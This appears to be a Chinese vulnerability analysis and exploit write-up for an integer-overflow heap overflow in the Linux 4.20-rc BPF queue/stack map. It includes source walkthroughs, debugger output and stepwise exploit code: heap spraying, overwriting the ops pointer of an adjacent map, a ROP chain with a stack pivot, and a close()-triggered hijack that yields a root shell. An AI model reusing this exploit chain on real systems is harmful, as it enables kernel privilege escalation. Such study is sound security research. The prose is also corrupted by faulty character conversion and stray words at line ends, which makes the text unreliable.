分析的代碼爲linux-4.20-rc3
版本:https://elixir.bootlin.com/linux/v4.20-rc3/source。由於該漏洞影響Linux Kernel 4.20rc1-4.20rc4
,主要Linux發行版並不受其影響。node
BPF
的全稱是Berkeley Packet Filter
,字面意思意味着它是從包過濾而來,該模塊主要就是用於用戶態定義數據包過濾方法;從本質上咱們能夠把它看做是一種內核代碼注入的技術,BPF
最大的好處是它提供了一種在不修改內核代碼的狀況下,能夠靈活修改內核處理策略的方法,這使得在包過濾和系統tracing這種須要頻繁修改規則的場合中很是有用。常見的抓包工具都基於此實現,而且用戶態的Seccomp功能也與此功能類似。linux
涉及到的代碼可從這裏下載,我更改過的exp可從個人github下載。git
觸發流程:github
SYSCALL_DEFINE3() -> map_create() -> find_and_alloc_map() -> queue_stack_map_alloc()
BPF經過系統調用觸發,查看代碼。shell
// /kernel/bpf/syscall.c SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size) { union bpf_attr attr = {}; int err; if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN)) return -EPERM; err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size); if (err) return err; size = min_t(u32, size, sizeof(attr)); /* copy attributes from user space, may be less than sizeof(bpf_attr) */ if (copy_from_user(&attr, uattr, size) != 0) return -EFAULT; err = security_bpf(cmd, &attr, size); if (err < 0) return err; switch (cmd) { case BPF_MAP_CREATE: err = map_create(&attr); break; case BPF_MAP_LOOKUP_ELEM: err = map_lookup_elem(&attr); break; case BPF_MAP_UPDATE_ELEM: err = map_update_elem(&attr); break; ... ... case BPF_MAP_LOOKUP_AND_DELETE_ELEM: err = map_lookup_and_delete_elem(&attr); break; default: err = -EINVAL; break; } return err; }
map_create
:用戶可經過BPF_MAP_CREATE
參數調用map_create
函數來建立map對象。map_create源碼。c#
// /kernel/bpf/syscall.c static int map_create(union bpf_attr *attr) { int numa_node = bpf_map_attr_numa_node(attr); struct bpf_map *map; int f_flags; int err; err = CHECK_ATTR(BPF_MAP_CREATE); if (err) return -EINVAL; f_flags = bpf_get_file_flag(attr->map_flags); if (f_flags < 0) return f_flags; if (numa_node != NUMA_NO_NODE && ((unsigned int)numa_node >= nr_node_ids || !node_online(numa_node))) return -EINVAL; /* find map type and init map: hashtable vs rbtree vs bloom vs ... */ map = find_and_alloc_map(attr);//根據map的類型分配空間,建立map結構體,併爲其編號,之後利用編號尋找生成的map。 if (IS_ERR(map)) return PTR_ERR(map); err = bpf_obj_name_cpy(map->name, attr->map_name); if (err) goto free_map_nouncharge; atomic_set(&map->refcnt, 1); atomic_set(&map->usercnt, 1); ... ... free_map: bpf_map_release_memlock(map); free_map_sec: security_bpf_map_free(map); free_map_nouncharge: btf_put(map->btf); map->ops->map_free(map); return err; }
find_and_alloc_map
:函數根據map的類型給map分配空間,find_and_alloc_map
中首先根據attr->type
,尋找所對應的處理函數虛表,而後根據處理函數虛表的不一樣,調用不一樣的函數進行處理。find_and_alloc_map源碼。api
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr) { const struct bpf_map_ops *ops; u32 type = attr->map_type; struct bpf_map *map; int err; if (type >= ARRAY_SIZE(bpf_map_types)) return ERR_PTR(-EINVAL); type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types)); ops = bpf_map_types[type]; //根據type的值尋找所對應的處理函數虛表 if (!ops) return ERR_PTR(-EINVAL); if (ops->map_alloc_check) { err = ops->map_alloc_check(attr); if (err) return ERR_PTR(err); } if (attr->map_ifindex) ops = &bpf_map_offload_ops; map = ops->map_alloc(attr); //調用虛函數 if (IS_ERR(map)) return map; map->ops = ops; map->map_type = type; return map; }
bpf_map_ops
追蹤緩存
// /include/linux/bpf.h —— bpf_map_ops struct bpf_map_ops { /* funcs callable from userspace (via syscall) */ int (*map_alloc_check)(union bpf_attr *attr); struct bpf_map *(*map_alloc)(union bpf_attr *attr); void (*map_release)(struct bpf_map *map, struct file *map_file); ... // /include/linux/bpf.h —— bpf_map struct bpf_map { /* The first two cachelines with read-mostly members of which some * are also accessed in fast-path (e.g. ops, max_entries). */ const struct bpf_map_ops *ops ____cacheline_aligned; struct bpf_map *inner_map_meta; ... // /kernel/bpf/queue_stack_maps.c —— queue_stack_map_alloc // 虛函數表:對應真正調用的函數 const struct bpf_map_ops queue_map_ops = { .map_alloc_check = queue_stack_map_alloc_check, .map_alloc = queue_stack_map_alloc, //map_alloc .map_free = queue_stack_map_free, .map_lookup_elem = queue_stack_map_lookup_elem, .map_update_elem = queue_stack_map_update_elem, //map_update_elem .map_delete_elem = queue_stack_map_delete_elem, .map_push_elem = queue_stack_map_push_elem, .map_pop_elem = queue_map_pop_elem, .map_peek_elem = queue_map_peek_elem, .map_get_next_key = queue_stack_map_get_next_key, };
queue_stack_map_alloc
:而在虛函數當中有一個queue_stack_map_alloc
函數,源碼。數據結構
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr) { int ret, numa_node = bpf_map_attr_numa_node(attr); struct bpf_queue_stack *qs; u32 size, value_size; u64 queue_size, cost; size = attr->max_entries + 1; // 會產生整數溢出 value_size = attr->value_size; queue_size = sizeof(*qs) + (u64) value_size * size; cost = queue_size; if (cost >= U32_MAX - PAGE_SIZE) return ERR_PTR(-E2BIG); cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT; ret = bpf_map_precharge_memlock(cost); if (ret < 0) return ERR_PTR(ret); qs = bpf_map_area_alloc(queue_size, numa_node); // 申請太小的塊 if (!qs) return ERR_PTR(-ENOMEM); memset(qs, 0, sizeof(*qs)); bpf_map_init_from_attr(&qs->map, attr); // 初始化函數 qs->map.pages = cost; qs->size = size; raw_spin_lock_init(&qs->lock); return &qs->map; }
漏洞:attr->max_entries
是用戶傳入的可控參數。由於size = attr->max_entries + 1;
若attr->max_entries=0xffffffff
,產生整數溢出漏洞使得size=0
。app
又由於queue_size = sizeof(*qs) + (u64) value_size * size;
,使得queue_size = sizeof(*qs)
。其中前sizeof(bpf_queue_stack) 個字節爲管理塊,用於存儲數據結構,後面的內容爲數據存儲結構。
bpf_map_init_from_attr
:初始化bpf_map
結構。
void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr) { map->map_type = attr->map_type; map->key_size = attr->key_size; map->value_size = attr->value_size; map->max_entries = attr->max_entries; map->map_flags = attr->map_flags; }
當此申請完成後,內核模塊將這個堆塊放入管理結構中,並生成id用於管理,並將id返回給用戶。
有了整數溢出,如今需尋找編輯功能。
堆溢出:由於上面的整數溢出漏洞,致使了內存分配的時候僅僅分配了管理塊的大小,可是沒有分配實際存儲數據的內存,以後咱們能夠在第3個bpf系統
調用map_update_elem
這塊map
的過程當中,向這塊太小的queue stack
中區域拷入數據,就致使內核堆溢出。
map_update_elem
:首先根據用戶輸入的id找到放入管理結構的map,利用kmalloc新建一個堆塊根據map中存儲的value_size,從用戶輸入拷貝。而後在map中找到存儲的虛函數指針ops,而後根據ops調用相應的虛函數。
static int map_update_elem(union bpf_attr *attr) { void __user *ukey = u64_to_user_ptr(attr->key); void __user *uvalue = u64_to_user_ptr(attr->value); int ufd = attr->map_fd; //用戶id struct bpf_map *map; void *key, *value; u32 value_size; struct fd f; int err; if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM)) return -EINVAL; f = fdget(ufd); //用戶id -> 找到對應map map = __bpf_map_get(f); if (IS_ERR(map)) return PTR_ERR(map); ...... value_size = map->value_size; // value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); //根據value_size新建堆塊 if (copy_from_user(value, uvalue, value_size) != 0) // attr->value 處的值緩存到 attr->value goto free_value; ...... err = map->ops->map_push_elem(map, value, attr->flags); //由虛表可知,map_push_elem真正調用了 queue_stack_map_push_elem()
queue_stack_map_push_elem
:發生溢出的主要函數,源碼以下。在該函數中從以前kmalloc新建的內存中,向計算獲得的地址作拷貝,大小爲qs->size。
/* Called from syscall or from eBPF program */ static int queue_stack_map_push_elem(struct bpf_map *map, void *value, u64 flags) { struct bpf_queue_stack *qs = bpf_queue_stack(map); unsigned long irq_flags; int err = 0; void *dst; /* BPF_EXIST is used to force making room for a new element in case the * map is full */ bool replace = (flags & BPF_EXIST); /* Check supported flags for queue and stack maps */ if (flags & BPF_NOEXIST || flags > BPF_EXIST) return -EINVAL; raw_spin_lock_irqsave(&qs->lock, irq_flags); if (queue_stack_map_is_full(qs)) { if (!replace) { err = -E2BIG; goto out; } /* advance tail pointer to overwrite oldest element */ if (unlikely(++qs->tail >= qs->size)) qs->tail = 0; } dst = &qs->elements[qs->head * qs->map.value_size]; memcpy(dst, value, qs->map.value_size); //堆溢出 if (unlikely(++qs->head >= qs->size)) qs->head = 0; out: raw_spin_unlock_irqrestore(&qs->lock, irq_flags); return err; }
計算的地址,從彙編語言中更容易看出是跳過了管理塊內容的地址,qs->head在新建的時候被初始化爲0,此時出現堆溢出,溢出大小能夠控制即初始化是輸入的value_size,位置是重新建的第一個堆塊之後直接溢出。
.text:FFFFFFFF811AEF71 mov edx, [rbx+20h] .text:FFFFFFFF811AEF74 mov rsi, r13 .text:FFFFFFFF811AEF77 xor r15d, r15d .text:FFFFFFFF811AEF7A imul ecx, edx .text:FFFFFFFF811AEF7D lea rdi, [rbx+rcx+0D0h] .text:FFFFFFFF811AEF85 call memcpy ; memcpy((unsigned __int64)map + (unsigned int)(map[8] * v7) + 0xD0, a2, (unsigned int)map[8]);
功能:每個map裏包含多個小塊內存,value_size是每個小塊的大小,max_entries是小塊的數量,每次能夠寫一個小塊內容。
這裏memcpy
函數中的dst
就是上面申請的queue stack
區域,而src
是由用戶態拷入的大小爲qs->map.value_size
的buffer
, 拷貝長度由建立queue_stack
時用戶提供的attr.value_size
所決定的,因此拷貝長度也是用戶可控的;sizeof(struct bpf_queue_stack)
(bpf_queue_stack結構大小是0xd0,但kmalloc分配時需對齊,就是0x100,因此至少0x30字節才能溢出),若是當value_size > 256 - (&qs->elements - &qs)
時,就會發生越界拷貝了。
(1)保護:採用smep,關閉smap/kaslr/kpti。
(2)查看申請塊size:下斷,發現是用kmalloc-256進行分配。 問題—怎麼找到這個斷點的啊??
pwndbg> b *0xFFFFFFFF8119CD17 Breakpoint 2 at 0xffffffff8119cd17 pwndbg> c Continuing. pwndbg> ni pwndbg> i r rax rax 0xffff88807a001700 -131389592692992 pwndbg> x /20gx 0xffff88807a001700 0xffff88807a001700: 0x0000000000024200 0x0000000040000000 0xffff88807a001710: 0x0000000000000005 0x0000010000000100 0xffff88807a001720: 0x0000000d00000000 0x0000001000000010 0xffff88807a001730: 0x0000000000000010 0x0000000000000001 0xffff88807a001740: 0x0000000000000000 0x0000000800000100 0xffff88807a001750: 0x0000000000000000 0xffffffff8222db1c 0xffff88807a001760: 0xffff88807a001860 0xffff88807a001660 0xffff88807a001770: 0xffffffff8222db1c 0xffff88807a001878 0xffff88807a001780: 0xffff88807a001678 0xffff888079b459d8 0xffff88807a001790: 0xffff888079b459c0 0xffffffff8246d5e0 pwndbg> x /s 0xffffffff8222db1c 0xffffffff8222db1c: "kmalloc-256"
(3)漏洞條件:1. 申請0x100大小的堆塊;2. 向相鄰堆塊溢出;3. slub性質—相同大小的堆塊相鄰,所以申請大量的堆塊必定存在一塊與發生溢出的堆塊相鄰,形成指針可控的狀況。
(4)利用思路:因爲ptmx大小不合適,能夠就利用bpf_queue_stack
結構,連續申請兩個bpf_queue_stack
,就可讓第一個bpf_queue_stack
發生溢出,改寫後一個bpf_queue_stack
的虛表指針。bpf_queue_stack
結構包含bpf_map
,bpf_map
中含虛表指針ops,溢出覆蓋虛表指針,便可劫持控制流。
struct bpf_queue_stack { struct bpf_map map; raw_spinlock_t lock; u32 head, tail; u32 size; /* max_entries + 1 */ char elements[0] __aligned(8); }; struct bpf_map { /* The first two cachelines with read-mostly members of which some * are also accessed in fast-path (e.g. ops, max_entries). */ const struct bpf_map_ops *ops ____cacheline_aligned; struct bpf_map *inner_map_meta; #ifdef CONFIG_SECURITY void *security; #endif enum bpf_map_type map_type; u32 key_size; u32 value_size; u32 max_entries; u32 map_flags; u32 pages; u32 id; int numa_node; u32 btf_key_type_id; u32 btf_value_type_id; struct btf *btf; bool unpriv_array; /* 55 bytes hole */ /* The 3rd and 4th cacheline with misc members to avoid false sharing * particularly with refcounting. */ struct user_struct *user ____cacheline_aligned; atomic_t refcnt; atomic_t usercnt; struct work_struct work; char name[BPF_OBJ_NAME_LEN]; }; /* map is generic key/value storage optionally accesible by eBPF programs */ struct bpf_map_ops { /* funcs callable from userspace (via syscall) */ int (*map_alloc_check)(union bpf_attr *attr); struct bpf_map *(*map_alloc)(union bpf_attr *attr); void (*map_release)(struct bpf_map *map, struct file *map_file); void (*map_free)(struct bpf_map *map); int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key); void (*map_release_uref)(struct bpf_map *map); /* funcs callable from userspace and from eBPF programs */ void *(*map_lookup_elem)(struct bpf_map *map, void *key); int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags); int (*map_delete_elem)(struct bpf_map *map, void *key); int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags); int (*map_pop_elem)(struct bpf_map *map, void *value); int (*map_peek_elem)(struct bpf_map *map, void *value); /* funcs called by prog_array and perf_event_array map */ void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file, int fd); void (*map_fd_put_ptr)(void *ptr); u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf); u32 (*map_fd_sys_lookup_elem)(void *ptr); void (*map_seq_show_elem)(struct bpf_map *map, void *key, struct seq_file *m); int (*map_check_btf)(const struct bpf_map *map, const struct btf_type *key_type, const struct btf_type *value_type); }; // 虛函數表:對應真正調用的函數 const struct bpf_map_ops queue_map_ops = { .map_alloc_check = queue_stack_map_alloc_check, .map_alloc = queue_stack_map_alloc, //map_alloc .map_free = queue_stack_map_free, .map_lookup_elem = queue_stack_map_lookup_elem, .map_update_elem = queue_stack_map_update_elem, //map_update_elem .map_delete_elem = queue_stack_map_delete_elem, .map_push_elem = queue_stack_map_push_elem, .map_pop_elem = queue_map_pop_elem, .map_peek_elem = queue_map_peek_elem, .map_get_next_key = queue_stack_map_get_next_key, };
(5)輸入格式(傳入參數的格式):
// /include/uapi/linux/bpf.h union bpf_attr { struct { /* 用於 BPF_MAP_CREATE 命令,添加bpf */ __u32 map_type; /* one of enum bpf_map_type */ __u32 key_size; /* size of key in bytes */ __u32 value_size; /* size of value in bytes */ __u32 max_entries; /* max number of entries in a map */ __u32 map_flags; /* BPF_MAP_CREATE related * flags defined above. */ __u32 inner_map_fd; /* fd pointing to the inner map */ __u32 numa_node; /* numa node (effective only if * BPF_F_NUMA_NODE is set). */ char map_name[BPF_OBJ_NAME_LEN]; __u32 map_ifindex; /* ifindex of netdev to create on */ __u32 btf_fd; /* fd pointing to a BTF type data */ __u32 btf_key_type_id; /* BTF type_id of the key */ __u32 btf_value_type_id; /* BTF type_id of the value */ }; struct { /* 用於 BPF_MAP_*_ELEM 命令,可編輯bpf */ __u32 map_fd; __aligned_u64 key; union { __aligned_u64 value; __aligned_u64 next_key; }; __u64 flags; };
(6)釋放時/劫持map_release時的現場,以肯定xchg哪一個寄存器:
bpf_map_release()
---> map_release()
。
因爲是jmp rsp
,因此能夠選xchg eax, esp
這個gadget。
// c代碼 static int bpf_map_release(struct inode *inode, struct file *filp) { struct bpf_map *map = filp->private_data; if (map->ops->map_release) map->ops->map_release(map, filp); bpf_map_put_with_uref(map); return 0; }
/ # cat /proc/kallsyms | grep map_release ffffffff8119d050 t bpf_map_release ffffffff811a8b00 t bpffs_map_release ffffffff81810070 t map_release # 彙編 pwndbg> x /30i 0xffffffff8119d050 0xffffffff8119d050: push rbx 0xffffffff8119d051: mov rbx,QWORD PTR [rsi+0xc8] 0xffffffff8119d058: mov rax,QWORD PTR [rbx] 0xffffffff8119d05b: mov rax,QWORD PTR [rax+0x10] 0xffffffff8119d05f: test rax,rax 0xffffffff8119d062: je 0xffffffff8119d06c 0xffffffff8119d064: mov rdi,rbx 0xffffffff8119d067: call 0xffffffff81e057c0 0xffffffff8119d06c: mov rdi,rbx 0xffffffff8119d06f: call 0xffffffff8119d010 0xffffffff8119d074: xor eax,eax 0xffffffff8119d076: pop rbx 0xffffffff8119d077: ret # pwndbg裏面 pwndbg> x /10i 0xffffffff81e057c0 0xffffffff81e057c0: call 0xffffffff81e057cc 0xffffffff81e057c5: pause 0xffffffff81e057c7: lfence 0xffffffff81e057ca: jmp 0xffffffff81e057c5 0xffffffff81e057cc: mov QWORD PTR [rsp],rax#其實就是jmp rax 0xffffffff81e057d0: ret # IDA中 .text:FFFFFFFF81E057C0 jmp rax
原文說close()
時,會將bpf_map_free_deferred()
添加到隊列並隨後執行,經過將map->ops指向用戶態可控位置,而且將ops.map_free設爲任意值,咱們就能夠在執行map->ops->map_free(map);
語句時將rip設置爲任意值。
/* called from workqueue */ static void bpf_map_free_deferred(struct work_struct *work) { struct bpf_map *map = container_of(work, struct bpf_map, work); bpf_map_release_memlock(map); security_bpf_map_free(map); /* implementation dependent freeing */ map->ops->map_free(map); } /* decrement map refcnt and schedule it for freeing via workqueue * (unrelying map implementation ops->map_free() might sleep) */ static void __bpf_map_put(struct bpf_map *map, bool do_idr_lock) { if (atomic_dec_and_test(&map->refcnt)) { /* bpf_map_free_id() must be called first */ bpf_map_free_id(map, do_idr_lock); btf_put(map->btf); INIT_WORK(&map->work, bpf_map_free_deferred); schedule_work(&map->work); } }
map_free
函數地址位於偏移0x18處,可是exp中是劫持的是0x10處的map_release
。可是我在map_free
處下斷點,並正常釋放時,確實停下來了。
// Step 1 : 構造添加bpf (BPF_MAP_CREATE) 的參數 signal(SIGSEGV, get_shell_again); // 遇到SIGSEGV錯誤時調用get_shell_again()處理函數(對存儲的無效訪問:當程序試圖在已分配的內存以外讀取或寫入時) syscall(__NR_mmap, 0x20000000,0x1000000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); long res = 0; memset(0x200011c0, '\x00', 0x30); *(uint32_t *)0x200011c0 = 0x17; // map_type 如何肯定?? *(uint32_t *)0x200011c4 = 0; // key_size *(uint32_t *)0x200011c8 = 0x40; // value_size 需拷貝的用戶字節數 *(uint32_t *)0x200011cc = -1; // max_entries = 0xffffffff 構造整數溢出 *(uint32_t *)0x200011d0 = 0; // map_flags *(uint32_t *)0x200011d4 = -1; // inner_map_fd *(uint32_t *)0x200011d8 =0; // numa_node
// Step 2 : 保存用戶態變量, xchg地址處佈置ROP save_status(); printf("user_cs:%llx user_ss:%llx user_rflags:%llx user_sp:%llx\n",user_cs, user_ss, user_rflags, user_sp); prepare_krop(); void *fake_stack; void prepare_krop(){ krop_base_mapped = mmap ((void *)krop_base_to_map, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,-1,0); if (krop_base_mapped<0){ perror("[-] mmap failed"); } *(unsigned long*)0x81954dc8 = pop_rax_ret; fake_stack = mmap((void *)0xa000000000,0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memset(fake_stack, '\x00', 0x100); *(unsigned long*)(fake_stack+0x10) = xchg_eax_esp_ret; // 偏移0x10處對應 map_release函數指針 rop_chain[14]=user_cs; rop_chain[15]=user_rflags; rop_chain[16]=user_sp; // 也能夠是(unsigned long)(fake_stack+0x6000); rop_chain[17]=user_ss; memcpy(krop_base_mapped + rop_start, rop_chain, sizeof(rop_chain)); puts("[+] rop chain has been initialized!"); }
// Step 3 : 添加bpf,噴射構造相鄰的bpf結構,有利於溢出 res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c); spray(); long victim[SPRAY_NUMBER]; void spray(){ for(int i=0; i < SPRAY_NUMBER; i++) victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c); return; }
// Step 4 : 溢出覆蓋bpf_queue_stack中的虛表指針ops,僞造虛表bpf_map_ops中的函數指針map_release *(uint32_t*)0x200000c0 = res; //map_fd 根據BPF_MAP_CREATE返回的編號找到對應的bpf對象 *(uint64_t*)0x200000c8 = 0; //key *(uint64_t*)0x200000d0 = 0x20000140; //value 輸入的緩衝區 *(uint64_t*)0x200000d8 = 2; //flags = BPF_EXIST =2 uint64_t * ptr = (uint64_t*)0x20000140; for(int i=0; i<8; i++) ptr[i]=i; ptr[6]=fake_stack; //0x20002000 0xa000000000 從偏移0x30纔開始覆蓋。虛表指針ops在開頭,但bpf_queue_stack管理結構大小0xd0,可是申請空間時需0x100對齊,0x100-0xd0=0x30。 syscall(__NR_bpf,2,0x200000c0,0x20);
// Step 5 : close()觸發map_release() for (int i=0; i<SPRAY_NUMBER; i++) close(victim[i]);
在調試ROP時,當用iret返回用戶態時,遇到了一個以前沒有遇到的問題,雖然跳轉到了get_shell函數,但執行第一條語句時,出現Segmentation fault,拿不到shell。加一個signal函數來catch段錯誤,在這個處理函數中再起shell,就能夠拿到shell。
SMAP防止ring 0代碼訪問用戶態數據,Linux下的傳統的繞過SMAP提權的方法包括如下幾種:
關於利這一個單個漏洞SMAP, KPTI, KASLR等其餘防護機制的繞過,將在後續文章中進行詳解。
Linux下的傳統的繞過KASLR提權的方法包括如下幾種: